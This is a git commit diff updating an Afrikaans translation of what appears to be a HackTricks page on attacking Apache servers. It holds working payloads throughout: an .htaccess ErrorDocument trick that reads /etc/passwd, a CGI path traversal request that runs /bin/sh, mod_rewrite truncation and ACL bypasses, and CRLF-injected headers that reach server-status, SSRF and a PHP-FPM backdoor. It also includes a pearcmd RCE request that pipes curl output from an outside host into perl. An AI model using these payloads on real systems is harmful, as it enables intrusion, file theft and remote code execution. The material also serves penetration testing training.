Translated ['', 'src/network-services-pentesting/pentesting-web/apache.m

This commit is contained in:
Translator 2025-08-28 18:54:48 +00:00
parent d61840ea8e
commit d4c2893e76
2 changed files with 419 additions and 385 deletions

File diff suppressed because it is too large Load Diff

View File

@ -4,11 +4,11 @@
## Uitvoerbare PHP-uitbreidings
Kyk watter uitbreidings die Apache-bediener uitvoer. Om hulle te soek, kan jy uitvoer:
Kontroleer watter PHP-uitbreidings deur die Apache-server uitgevoer word. Om daarna te soek kan jy uitvoer:
```bash
grep -R -B1 "httpd-php" /etc/apache2
```
Ook, sommige plekke waar jy hierdie konfigurasie kan vind, is:
Ook, sommige plekke waar jy hierdie konfigurasie kan vind is:
```bash
/etc/apache2/mods-available/php5.conf
/etc/apache2/mods-enabled/php5.conf
@ -21,19 +21,47 @@ curl http://172.18.0.15/cgi-bin/.%2e/.%2e/.%2e/.%2e/.%2e/bin/sh --data 'echo Con
uid=1(daemon) gid=1(daemon) groups=1(daemon)
Linux
```
## Confusion Attack <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
## LFI via .htaccess ErrorDocument file provider (ap_expr)
Hierdie tipe aanvalle is bekendgestel en gedokumenteer [**deur Orange in hierdie blogpos**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) en die volgende is 'n opsomming. Die "confusion" aanval misbruik basies hoe die tientalle modules wat saamwerk om 'n Apache te skep, nie perfek gesinchroniseer werk nie, en om sommige van hulle onvoorsiene data te laat wysig, kan 'n kwesbaarheid in 'n latere module veroorsaak.
As jy 'n gids se .htaccess kan beheer en AllowOverride FileInfo insluit vir daardie pad, kan jy 404-antwoorde omskep in arbitêre plaaslike lêerlees deur die ap_expr file() funksie binne ErrorDocument te gebruik.
### Filename Confusion
- Vereistes:
- Apache 2.4 met expression parser (ap_expr) geaktiveer (standaard in 2.4).
- Die vhost/dir moet .htaccess toelaat om ErrorDocument te stel (AllowOverride FileInfo).
- Die Apache worker user moet leesregte op die teikenlêer hê.
#### Truncation
.htaccess payload:
```apache
# Optional marker header just to identify your tenant/request path
Header always set X-Debug-Tenant "demo"
# On any 404 under this directory, return the contents of an absolute filesystem path
ErrorDocument 404 %{file:/etc/passwd}
```
Aktiveer deur 'n nie-bestaande path onder daardie directory aan te vra, byvoorbeeld wanneer userdir-style hosting misbruik word:
```bash
curl -s http://target/~user/does-not-exist | sed -n '1,20p'
```
Wenke en notas:
- Slegs absolute paadjies werk. Die inhoud word teruggestuur as die response body vir die 404-handler.
- Effektiewe leespermissies is dié van die Apache-gebruiker (gewoonlik www-data/apache). In standaardopstellings sal jy nie /root/* of /etc/shadow kan lees nie.
- Selfs al is .htaccess root-eienaar, as die ouer gids deur die tenant besit word en hernoeming toelaat, mag jy die oorspronklike .htaccess hernoem en jou eie plaasvervanger via SFTP/FTP oplaai:
- rename .htaccess .htaccess.bk
- sit jou kwaadwillige .htaccess
- Gebruik dit om toepassingsbron onder DocumentRoot of vhost config paths te lees om geheime in te samel (DB creds, API keys, ens.).
Die **`mod_rewrite`** sal die inhoud van `r->filename` na die karakter `?` afsnit ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Dit is nie heeltemal verkeerd nie, aangesien die meeste modules `r->filename` as 'n URL sal behandel. Maar in ander gevalle sal dit as 'n lêerpad behandel word, wat 'n probleem kan veroorsaak.
## Verwarringsaanval <a href="#a-whole-new-attack-confusion-attack" id="a-whole-new-attack-confusion-attack"></a>
- **Path Truncation**
These types of attacks has been introduced and documented [**by Orange in this blog post**](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1) and the following is a summary. The "confusion" attack basically abuses how the tens of modules that work together creating a Apache don't work perfectly synchronised and making some of them modify some unexpected data can cause a vulnerability in a later module.
Dit is moontlik om `mod_rewrite` te misbruik soos in die volgende reëlvoorbeeld om toegang te verkry tot ander lêers binne die lêerstelsel, deur eenvoudig die laaste deel van die verwagte pad te verwyder en 'n `?` by te voeg:
### Lêernaamverwarring
#### Afkapping
Die **`mod_rewrite`** sal die inhoud van `r->filename` na die karakter `?` afsny ([_**modules/mappers/mod_rewrite.c#L4141**_](https://github.com/apache/httpd/blob/2.4.58/modules/mappers/mod_rewrite.c#L4141)). Dit is nie heeltemal verkeerd nie aangesien die meeste modules `r->filename` as 'n URL sal behandel. Maar in ander gevalle word dit as 'n lêerpad behandel, wat 'n probleem kan veroorsaak.
- **Padafkapping**
Dit is moontlik om `mod_rewrite` te misbruik soos in die volgende reëlvoorbeeld om toegang tot ander lêers binne die lêerstelsel te kry deur bloot 'n `?` by te voeg wat die laaste deel van die verwagte pad verwyder:
```bash
RewriteEngine On
RewriteRule "^/user/(.+)$" "/var/user/$1/profile.yml"
@ -46,9 +74,9 @@ curl http://server/user/orange
curl http://server/user/orange%2Fsecret.yml%3F
# the output of file `/var/user/orange/secret.yml`
```
- **Misleidende RewriteFlag Toewysing**
- **Misleidende RewriteFlag-toewysing**
In die volgende herskryfreël, solank die URL eindig op .php, gaan dit behandel en uitgevoer word as php. Daarom is dit moontlik om 'n URL te stuur wat eindig op .php na die `?` karakter terwyl 'n ander tipe lêer (soos 'n beeld) met kwaadwillige php-kode daarin gelaai word:
In die volgende rewrite-reël, solank die URL op .php eindig, sal dit as php behandel en uitgevoer word. Daarom is dit moontlik om 'n URL te stuur wat na die `?`-teken op .php eindig, terwyl 'n ander tipe lêer (soos 'n beeld) in die pad gelaai word met kwaadaardige php-kode daarin:
```bash
RewriteEngine On
RewriteRule ^(.+\.php)$ $1 [H=application/x-httpd-php]
@ -63,7 +91,7 @@ curl http://server/upload/1.gif%3fooo.php
```
#### **ACL Bypass**
Dit is moontlik om toegang te verkry tot lêers wat die gebruiker nie behoort te kan toegang nie, selfs al moet die toegang geweier word met konfigurasies soos:
Dit is moontlik om toegang tot lêers te kry waartoe die gebruiker nie behoort te kan toegang kry nie, selfs al behoort die toegang met konfigurasies soos die volgende geweier te word:
```xml
<Files "admin.php">
AuthType Basic
@ -72,20 +100,20 @@ AuthUserFile "/etc/apache2/.htpasswd"
Require valid-user
</Files>
```
Dit is omdat PHP-FPM standaard URL's ontvang wat eindig op `.php`, soos `http://server/admin.php%3Fooo.php` en omdat PHP-FPM alles na die karakter `?` sal verwyder, sal die vorige URL toelaat om `/admin.php` te laai selfs al het die vorige reël dit verbied.
Dit is omdat PHP-FPM standaard URL's wat eindig op `.php` sal ontvang, soos `http://server/admin.php%3Fooo.php`, en omdat PHP-FPM alles na die karakter `?` sal verwyder, sal die vorige URL toelaat om `/admin.php` te laai selfs al het die vorige reël dit verbied.
### DocumentRoot Verwarring
### DocumentRoot verwarring
```bash
DocumentRoot /var/www/html
RewriteRule ^/html/(.*)$ /$1.html
```
'n Interessante feit oor Apache is dat die vorige herskrywing sal probeer om die lêer vanaf beide die documentRoot en vanaf root te benader. So, 'n versoek na `https://server/abouth.html` sal die lêer in `/var/www/html/about.html` en `/about.html` in die lêerstelsel nagaan. Dit kan basies misbruik word om lêers in die lêerstelsel te benader.
'n Interessante feit oor Apache is dat die vorige rewrite sal probeer om die lêer vanaf beide die documentRoot en vanaf root te benader. Dus sal 'n versoek na `https://server/abouth.html` in die lêerstelsel kyk of die lêer in `/var/www/html/about.html` en `/about.html` bestaan. Dit kan basies misbruik word om toegang tot lêers in die lêerstelsel te kry.
#### **Bediener-kant Bronkode Ontsluiting**
#### **Serverkant Bronkode Blootstelling**
- **Ontsluit CGI Bronkode**
- **Blootstelling van CGI-bronkode**
Net om 'n %3F aan die einde by te voeg, is genoeg om die bronkode van 'n cgi-module te lek:
Deur net %3F aan die einde by te voeg is dit genoeg om die bronkode van 'n CGI-module te leak:
```bash
curl http://server/cgi-bin/download.cgi
# the processed result from download.cgi
@ -95,62 +123,62 @@ curl http://server/html/usr/lib/cgi-bin/download.cgi%3F
# ...
# # the source code of download.cgi
```
- **Ontbloot PHP Bronnkode**
- **Maak PHP Source Code openbaar**
As 'n bediener verskillende domeine het, met een daarvan 'n statiese domein, kan dit misbruik word om die lêerstelsel te deurkruis en php kode te lek:
Indien 'n bediener verskillende domeine het, waarvan een 'n statiese domein is, kan dit misbruik word om deur die lêerstelsel te navigeer en php code te leak:
```bash
# Leak the config.php file of the www.local domain from the static.local domain
curl http://www.local/var/www.local/config.php%3F -H "Host: static.local"
# the source code of config.php
```
#### **Plaaslike Gadgets Manipulasie**
#### **Local Gadgets Manipulation**
Die hoofprobleem met die vorige aanval is dat by verstek die meeste toegang oor die lêerstelsel ontken sal word soos in Apache HTTP Server se [konfigurasiesjabloon](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
Die hoofprobleem met die vorige aanval is dat by verstek die meeste toegang tot die filesystem geweier sal word soos in Apache HTTP Servers [configuration template](https://github.com/apache/httpd/blob/trunk/docs/conf/httpd.conf.in#L115):
```xml
<Directory />
AllowOverride None
Require all denied
</Directory>
```
egter, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) bedryfstelsels laat standaard `/usr/share` toe:
Maar, [Debian/Ubuntu](https://sources.debian.org/src/apache2/2.4.62-1/debian/config-dir/apache2.conf.in/#L165) bedryfstelsels laat standaard `/usr/share` toe:
```xml
<Directory /usr/share>
AllowOverride None
Require all granted
</Directory>
```
Daarom sal dit moontlik wees om **lêers wat binne `/usr/share` in hierdie verspreidings geleë is, te misbruik.**
Daarom sal dit moontlik wees om **lêers binne `/usr/share` in hierdie distributies te misbruik.**
**Plaaslike Gadget tot Inligtingsontsluiting**
**Plaaslike gadget na inligtingsvrystelling**
- **Apache HTTP Server** met **websocketd** mag die **dump-env.php** skrip by **/usr/share/doc/websocketd/examples/php/** blootstel, wat sensitiewe omgewing veranderlikes kan lek.
- Bedieners met **Nginx** of **Jetty** mag sensitiewe webtoepassing inligting (bv. **web.xml**) blootstel deur hul standaard web wortels wat onder **/usr/share** geplaas is:
- **Apache HTTP Server** met **websocketd** kan die **dump-env.php**-skrip by **/usr/share/doc/websocketd/examples/php/** blootstel, wat sensitiewe omgewingsveranderlikes kan leak.
- Bedieners met **Nginx** of **Jetty** kan sensitiewe webtoepassingsinligting (bv. **web.xml**) blootstel deur hul verstek webwortels geplaas onder **/usr/share**:
- **/usr/share/nginx/html/**
- **/usr/share/jetty9/etc/**
- **/usr/share/jetty9/webapps/**
**Plaaslike Gadget tot XSS**
**Plaaslike gadget na XSS**
- Op Ubuntu Desktop met **LibreOffice geïnstalleer**, kan die uitbuiting van die hulp lêers se taal skakel funksie lei tot **Cross-Site Scripting (XSS)**. Manipulasie van die URL by **/usr/share/libreoffice/help/help.html** kan lei na kwaadwillige bladsye of ouer weergawes deur **onveilige RewriteRule**.
- Op Ubuntu Desktop met **LibreOffice geïnstalleer**, kan die misbruik van die help-lêers se taalwissel-funksie lei tot **Cross-Site Scripting (XSS)**. Deur die URL by **/usr/share/libreoffice/help/help.html** te manipuleer, kan daar herlei word na kwaadwillige bladsye of ouer weergawes deur 'n **unsafe RewriteRule**.
**Plaaslike Gadget tot LFI**
**Plaaslike gadget na LFI**
- As PHP of sekere front-end pakkette soos **JpGraph** of **jQuery-jFeed** geïnstalleer is, kan hul lêers misbruik word om sensitiewe lêers soos **/etc/passwd** te lees:
- **/usr/share/doc/libphp-jpgraph-examples/examples/show-source.php**
- **/usr/share/javascript/jquery-jfeed/proxy.php**
- **/usr/share/moodle/mod/assignment/type/wims/getcsv.php**
**Plaaslike Gadget tot SSRF**
**Plaaslike gadget na SSRF**
- Deur **MagpieRSS's magpie_debug.php** by **/usr/share/php/magpierss/scripts/magpie_debug.php** te gebruik, kan 'n SSRF kwesbaarheid maklik geskep word, wat 'n toegangspunt tot verdere uitbuitings bied.
- Deur **MagpieRSS's magpie_debug.php** by **/usr/share/php/magpierss/scripts/magpie_debug.php** te gebruik, kan 'n SSRF-kwetsbaarheid maklik geskep word, wat 'n poort tot verdere eksploite bied.
**Plaaslike Gadget tot RCE**
**Plaaslike gadget na RCE**
- Geleenthede vir **Remote Code Execution (RCE)** is wyd, met kwesbare installasies soos 'n verouderde **PHPUnit** of **phpLiteAdmin**. Hierdie kan misbruik word om arbitrêre kode uit te voer, wat die uitgebreide potensiaal van plaaslike gadgets manipulasie toon.
- Geleenthede vir **Remote Code Execution (RCE)** is wyd, met kwesbare installasies soos 'n verouderde **PHPUnit** of **phpLiteAdmin**. Hierdie kan misbruik word om arbitrêre kode uit te voer, wat die uitgebreide potensiaal van die manipulasie van plaaslike gadgets demonstreer.
#### **Jailbreak van Plaaslike Gadgets**
#### **Jailbreak vanaf plaaslike gadgets**
Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur simlinks te volg wat deur geïnstalleerde sagteware in daardie vouers gegenereer is, soos:
Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur symlinks te volg wat deur geïnstalleerde sagteware in daardie vouers gegenereer is, soos:
- **Cacti Log**: `/usr/share/cacti/site/` -> `/var/log/cacti/`
- **Solr Data**: `/usr/share/solr/data/` -> `/var/lib/solr/data`
@ -158,55 +186,55 @@ Dit is ook moontlik om te jailbreak vanaf die toegelate vouers deur simlinks te
- **MediaWiki Config**: `/usr/share/mediawiki/config/` -> `/var/lib/mediawiki/config/`
- **SimpleSAMLphp Config**: `/usr/share/simplesamlphp/config/` -> `/etc/simplesamlphp/`
Boonop, deur simlinks te misbruik was dit moontlik om **RCE in Redmine te verkry.**
Verder, deur symlinks te misbruik was dit moontlik om **RCE in Redmine** te verkry.
### Handler Verwarring <a href="#id-3-handler-confusion" id="id-3-handler-confusion"></a>
Hierdie aanval benut die oorvleueling in funksionaliteit tussen die `AddHandler` en `AddType` riglyne, wat albei gebruik kan word om **PHP verwerking** te aktiveer. Oorspronklik het hierdie riglyne verskillende velde beïnvloed (`r->handler` en `r->content_type` onderskeidelik) in die bediener se interne struktuur. egter, as gevolg van nalatenskapkode, hanteer Apache hierdie riglyne wisselvallig onder sekere omstandighede, wat `r->content_type` in `r->handler` omskakel as die eerste ingestel is en die laaste nie.
Hierdie aanval misbruik die oorvleueling in funksionaliteit tussen die `AddHandler` en `AddType` riglyne, wat albei gebruik kan word om **PHP-verwerking te aktiveer**. Oorspronklik het hierdie riglyne verskillende velde (`r->handler` en `r->content_type` onderskeidelik) in die bediener se interne struktuur beïnvloed. Weens ouer kode hanteer Apache egter hierdie riglyne onder sekere toestande uitruilbaar, deur `r->content_type` in `r->handler` om te skakel as die eersgenoemde gestel is en laasgenoemde nie.
Boonop, in die Apache HTTP Server (`server/config.c#L420`), as `r->handler` leeg is voordat `ap_run_handler()` uitgevoer word, **gebruik die bediener `r->content_type` as die handler**, wat effektief `AddType` en `AddHandler` identies in effek maak.
Verder, in die Apache HTTP Server (`server/config.c#L420`), as `r->handler` leeg is voor die uitvoering van `ap_run_handler()`, gebruik die bediener **`r->content_type` as die handler**, wat effektief `AddType` en `AddHandler` identies in effek maak.
#### **Oorskry Handler om PHP Bronskode te Ontsluit**
#### **Oorskryf handler om PHP-bronkode te openbaar**
In [**hierdie praatjie**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf), is 'n kwesbaarheid aangebied waar 'n verkeerde `Content-Length` wat deur 'n kliënt gestuur is, kan veroorsaak dat Apache per ongeluk **die PHP bronskode teruggee**. Dit was as gevolg van 'n fout hantering probleem met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele antwoord lei tot die oorskryding van `r->content_type` na `text/html`.\
Omdat ModSecurity nie behoorlik terugwaardes hanteer nie, sou dit die PHP kode teruggee en dit nie interpreteer nie.
In [**this talk**](https://web.archive.org/web/20210909012535/https://zeronights.ru/wp-content/uploads/2021/09/013_dmitriev-maksim.pdf) is 'n kwesbaarheid aangebied waar 'n verkeerde `Content-Length` wat deur 'n kliënt gestuur is, Apache kan laat foutiewelik **die PHP-bronkode teruggee**. Dit was as gevolg van 'n fout in foutbehandeling met ModSecurity en die Apache Portable Runtime (APR), waar 'n dubbele antwoord lei tot die oorskryf van `r->content_type` na `text/html`.\
Omdat ModSecurity nie terugkeerwaardes behoorlik hanteer nie, sou dit die PHP-kode teruggee en dit nie interpreteer nie.
#### **Oorskry Handler tot XXXX**
#### **Oorskryf handler na XXXX**
TODO: Oranje het hierdie kwesbaarheid nog nie bekend gemaak nie
TODO: Orange het hierdie kwesbaarheid nog nie bekendgemaak nie
### **Roep Arbitrêre Handlers aan**
### **Roep arbitrêre handlers aan**
As 'n aanvaller in staat is om die **`Content-Type`** kop in 'n bediener antwoord te beheer, sal hy in staat wees om **arbitrêre module handlers aan te roep**. egter, teen die tyd dat die aanvaller dit beheer, sal die meeste van die proses van die versoek gedoen wees. egter, dit is moontlik om die versoekproses te **herbegin deur die `Location` kop te misbruik** omdat as die **r**eturned `Status` 200 is en die `Location` kop met 'n `/` begin, die antwoord as 'n Server-Side Redirection behandel word en verwerk moet word.
As 'n aanvaller in staat is om die **`Content-Type`** kop in 'n bedienerantwoord te beheer, sal hy in staat wees om **arbitrêre module-handlers aan te roep**. Teen die tyd dat die aanvaller dit beheer, sal die meeste van die versoekproses egter reeds afgehandel wees. Dit is egter moontlik om die versoekproses te **herbegin deur die `Location`-kop te misbruik**, omdat as die teruggegewe `Status` 200 is en die `Location`-kop met 'n `/` begin, die response as 'n Server-Side Redirection beskou en verwerk moet word.
Volgens [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spesifikasie oor CGI) in [Afdeling 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) definieer 'n Plaaslike Hernoem Antwoord gedrag:
Volgens [RFC 3875](https://datatracker.ietf.org/doc/html/rfc3875) (spesifikasie oor CGI), in [Section 6.2.2](https://datatracker.ietf.org/doc/html/rfc3875#section-6.2.2) word die gedrag van 'n Local Redirect Response gedefinieer:
> Die CGI skrip kan 'n URI pad en navraag-string (local-pathquery) vir 'n plaaslike hulpbron in 'n Location kopveld teruggee. Dit dui aan vir die bediener dat dit die versoek moet herverwerk met die pad wat gespesifiseer is.
> Die CGI-skrip kan 'n URI-pad en query-string ('local-pathquery') vir 'n plaaslike hulpbron in 'n Location-kopveld teruggee. Dit dui aan dat die bediener die versoek weer moet verwerk met die gespesifiseerde pad.
Daarom, om hierdie aanval uit te voer, is een van die volgende kwesbaarhede nodig:
Dus, om hierdie aanval uit te voer, is een van die volgende kwesbaarhede nodig:
- CRLF Inspuiting in die CGI antwoord koppe
- SSRF met volledige beheer van die antwoord koppe
- CRLF Injection in the CGI response headers
- SSRF met volledige beheer oor die responskoppe
#### **Arbitrêre Handler tot Inligtingsontsluiting**
#### **Arbitrêre handler na inligtingsvrystelling**
Byvoorbeeld, `/server-status` moet slegs plaaslik toeganklik wees:
Byvoorbeeld, `/server-status` behoort slegs lokaal toeganklik te wees:
```xml
<Location /server-status>
SetHandler server-status
Require local
</Location>
```
Dit is moontlik om toegang te verkry deur die `Content-Type` op `server-status` te stel en die Location-header wat met `/` begin.
Dit is moontlik om daartoe toegang te kry deur die `Content-Type` op `server-status` te stel en die `Location`-header te laat begin met `/`.
```
http://server/cgi-bin/redir.cgi?r=http:// %0d%0a
Location:/ooo %0d%0a
Content-Type:server-status %0d%0a
%0d%0a
```
#### **Arbitraire Handler na Volledige SSRF**
#### **Arbitrary Handler to Full SSRF**
Herlei na `mod_proxy` om enige protokol op enige URL te benader:
Herlei na `mod_proxy` om toegang tot enige protokol op enige URL te kry:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
@ -215,20 +243,20 @@ http://example.com/%3F
%0d%0a
%0d%0a
```
egter, die `X-Forwarded-For` kop is bygevoeg wat toegang tot wolk metadata eindpunte voorkom.
Echter, die `X-Forwarded-For` header word bygevoeg, wat toegang tot cloud metadata endpoints verhoed.
#### **Arbitraire Handler om Lokale Unix Domein Socket te Benader**
#### **Arbitrêre handler om toegang tot plaaslike Unix Domain Socket te kry**
Toegang tot PHP-FPM se lokale Unix Domein Socket om 'n PHP backdoor wat in `/tmp/` geleë is, uit te voer:
Kry toegang tot PHP-FPM se plaaslike Unix Domain Socket om 'n PHP backdoor in `/tmp/` uit te voer:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo %0d%0a
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/tmp/ooo.php %0d%0a
%0d%0a
```
#### **Arbitraire Handler na RCE**
#### **Arbitrary Handler to RCE**
Die amptelike [PHP Docker](https://hub.docker.com/_/php) beeld sluit PEAR (`Pearcmd.php`) in, 'n opdraglyn PHP-pakketbestuur gereedskap, wat misbruik kan word om RCE te verkry:
Die amptelike [PHP Docker](https://hub.docker.com/_/php) image sluit PEAR (`Pearcmd.php`) in, 'n command-line PHP-pakketbestuursinstrument wat misbruik kan word om RCE te verkry:
```
http://server/cgi-bin/redir.cgi?r=http://%0d%0a
Location:/ooo? %2b run-tests %2b -ui %2b $(curl${IFS}
@ -237,10 +265,13 @@ orange.tw/x|perl
Content-Type:proxy:unix:/run/php/php-fpm.sock|fcgi://127.0.0.1/usr/local/lib/php/pearcmd.php %0d%0a
%0d%0a
```
Kontroleer [**Docker PHP LFI Samevatting**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geskryf deur [Phith0n](https://x.com/phithon_xg) vir die besonderhede van hierdie tegniek.
Kyk na [**Docker PHP LFI Summary**](https://www.leavesongs.com/PENETRATION/docker-php-include-getshell.html#0x06-pearcmdphp), geskryf deur [Phith0n](https://x.com/phithon_xg) vir die besonderhede van hierdie tegniek.
## Verwysings
- [https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1](https://blog.orange.tw/2024/08/confusion-attacks-en.html?m=1)
- [Apache 2.4 Custom Error Responses (ErrorDocument)](https://httpd.apache.org/docs/2.4/custom-error.html)
- [Apache 2.4 Expressions and functions (file:)](https://httpd.apache.org/docs/2.4/expr.html)
- [HTB Zero write-up: .htaccess ErrorDocument LFI and cron pgrep abuse](https://0xdf.gitlab.io/2025/08/12/htb-zero.html)
{{#include ../../banners/hacktricks-training.md}}